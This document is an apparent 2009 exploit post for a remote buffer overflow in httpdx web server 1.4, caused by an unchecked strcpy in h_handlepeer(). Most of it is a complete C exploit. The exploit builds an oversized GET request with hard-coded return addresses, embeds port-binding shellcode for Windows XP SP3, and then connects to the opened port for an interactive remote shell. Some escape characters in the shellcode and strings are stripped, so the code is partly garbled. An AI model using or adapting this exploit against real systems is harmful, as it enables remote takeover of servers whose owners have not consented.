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httpdx14-overflow.txt

Posted on 08 October 2009

httpdx web server 1.4 is vulnerable to a remote buffer overflow using long GET requests such as http://www.example.com/aaa=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
The vulnerability lies in httpdx_src/http.cpp in h_handlepeer() : strcpy(index,client->filereq);

Other versions may also be vulnerable.

Exploit (0day) (Tested with httpdx 1.4 on WinXP SP3)


#include <stdio.h>
#include <stdlib.h>
#include <error.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

/* 128 byte portbinding shellcode (for WinXP SP3) port 58821
Derived from shellcode written by silicon */
unsigned char bindcode[] =
"x89xE5"
"x83xC4xECx33xC0x50x50x50x6Ax06"
"x6Ax01x6Ax02xB8"
"x6Ax8BxABx71" // WSASocketA()
"xFFxD0x8BxD8x33xC0x89x45xF4xB0"
"x02x66x89x45xF0x66xC7x45xF2xE5"
"xC5x6Ax10x8Dx55xF0x52x53xB8"
"x80x44xABx71" // bind()
"xFFxD0x6Ax01x53xB8"
"xD3x8CxABx71" // listen()
"xFFxD0x33xC0x50x50x53xB8"
"x40x10xACx71" // accept()
"xFFxD0x8BxD8xBA"
"x7BxD3x81x7C" // SetStdHandle()
"x53x6AxF6xFFxD2x53x6AxF5xFFxD2"
"x53x6AxF4xFFxD2xC7x45xFBx41x63"
"x6Dx64x8Dx45xFCx50xB8"
"xC7x93xC2x77" // system()
"xFFxD0"
"x31xC0x50xB8"
"x12xCBx81x7C" // ExitProcess()
"xFFxD0";


/* ripped from TESO code */
void shell (int sock)
{
int     l;
char    buf[512];
fd_set  rfds;


while (1) {
FD_SET (0, &rfds);
FD_SET (sock, &rfds);

select (sock + 1, &rfds, NULL, NULL, NULL);
if (FD_ISSET (0, &rfds)) {
l = read (0, buf, sizeof (buf));
if (l <= 0) {
printf("
 - Connection closed by local user
");
exit (EXIT_FAILURE);
}
write (sock, buf, l);
}

if (FD_ISSET (sock, &rfds)) {
l = read (sock, buf, sizeof (buf));
if (l == 0) {
printf ("
 - Connection closed by remote host.
");
exit (EXIT_FAILURE);
} else if (l < 0) {
printf ("
 - Read failure
");
exit (EXIT_FAILURE);
}
write (1, buf, l);
}
}
}


int main(int argc, char **argv)
{
char buff[1100];
long ret1 = 0x64f8134b;	// pop ret (core.dll)
long addr = 0x63b8624f;	// Required to reach ret instruction
long ret2 = 0x7c874413;	// jmp esp (kernel32.dll)
long *ptr;
struct sockaddr_in target;
int i, port, sock;


printf("
---------------------------------------------------------------------
");
printf("  [*] httpdx 1.4 GET Request Remote Buffer Overflow Exploit (0day) 
");
printf("  [*] Written and discovered by Pankaj Kohli <http://www.pank4j.com> 
");
printf("  [*] Tested with httpdx 1.4 on Windows XP SP3 

");

if(argc < 3)
{
printf("[-] Usage: %s  <Target IP> <Port>

", argv[0]);
exit(1);
}

port = atoi(argv[2]);
printf("[+] Creating payload 
");

memset(buff, 0, 1024);
strcpy(buff, "GET /abc=");
memset(buff+9, 'A', 616);
ptr = (long *) (buff + 625);
*ptr = ret1;
ptr++;
*ptr = addr;
ptr++;
*ptr = ret2;
ptr++;
*ptr = 0;
strcat(buff, bindcode);
memset(buff+765, 'A', 244);
buff[1009] = 0;
strcat(buff, " HTTP/1.1
Host: 192.168.2.1

");

printf("[+] Connecting to %s on port %s 
", argv[1], argv[2]);
target.sin_family = AF_INET;
target.sin_addr.s_addr = inet_addr(argv[1]);
target.sin_port = htons(port);

if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
perror("[-] Socket 
");
return(1);
}

if(connect(sock, (struct sockaddr *) &target, sizeof(target)) != 0)
{
perror("[-] Connect 
");
return(1);
}

printf("[+] Sending payload 
");
if (send(sock, buff, strlen(buff), 0)== -1)
{
perror("[-] Send 
");
return(1);
}

close(sock);
sleep(1);

target.sin_family = AF_INET;
target.sin_addr.s_addr = inet_addr(argv[1]);
target.sin_port = htons(58821);

if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
perror("[-] Socket 
");
return(1);
}

if(connect(sock, (struct sockaddr *) &target, sizeof(target)) != 0)
{
printf("[-] Exploit failed. 
");
return(1);
}

printf("
[+] Dropping to shell 

");
shell(sock);
return 0;
}

 

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